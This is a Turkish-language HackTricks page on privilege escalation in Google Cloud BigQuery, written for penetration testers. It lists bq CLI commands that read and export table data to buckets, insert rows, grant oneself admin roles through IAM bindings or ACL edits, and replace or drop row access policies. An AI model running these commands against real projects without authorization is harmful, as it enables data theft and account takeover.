GCP - BigQuery Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

BigQuery

BigQuery hakkında daha fazla bilgi için kontrol edin:

GCP - Bigquery Enum

Read Table

BigQuery tablosunda saklanan bilgileri okumak, duyarlı bilgileri bulmak mümkün olabilir. Bilgilere erişmek için gereken izinler bigquery.tables.get, bigquery.jobs.create ve bigquery.tables.getData'dır:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Veri Dışa Aktarma

Bu, verilere erişmenin başka bir yoludur. Verileri bir bulut depolama kovasına dışa aktarın ve bilgileri içeren dosyaları indirin. Bu işlemi gerçekleştirmek için aşağıdaki izinler gereklidir: bigquery.tables.export, bigquery.jobs.create ve storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Veri Ekle

Bigquery tablosuna belirli güvenilir verileri başka bir yerdeki bir açığı istismar etmek için eklemek mümkün olabilir. Bu, bigquery.tables.get, bigquery.tables.updateData ve bigquery.jobs.create izinleri ile kolayca yapılabilir:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Bir saldırgan, bu yetkiyi kendisine daha fazla izin vermek için kötüye kullanabilir:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Bu izin, ACL'leri değiştirerek bir BigQuery veri kümesine erişiminizi güncellemenize olanak tanır; bu ACL'ler kimin erişebileceğini belirtir:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Bir saldırgan, bu yetkiyi kendisine daha fazla izin vermek için kötüye kullanabilir:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Belgelerde belirtildiği gibi, belirtilen izinlerle bir satır politikasını güncellemek mümkündür. Ancak, cli bq kullanarak biraz daha fazlasına ihtiyacınız var: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[e-mail]>") FILTER USING (term = "Cfba");' # A example filter was used

Filtre kimliğini satır politikaları sayımının çıktısında bulmak mümkündür. Örnek:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

Eğer bigquery.rowAccessPolicies.delete yerine bigquery.rowAccessPolicies.update varsa, politikayı sadece silebilirsiniz:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Satır erişim politikalarını atlatmanın bir başka potansiyel seçeneği, kısıtlı verinin değerini değiştirmek olabilir. Eğer yalnızca term değeri Cfba olduğunda görebiliyorsanız, tablodaki tüm kayıtları term = "Cfba" olacak şekilde değiştirin. Ancak bu, bigquery tarafından engellenmektedir.

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.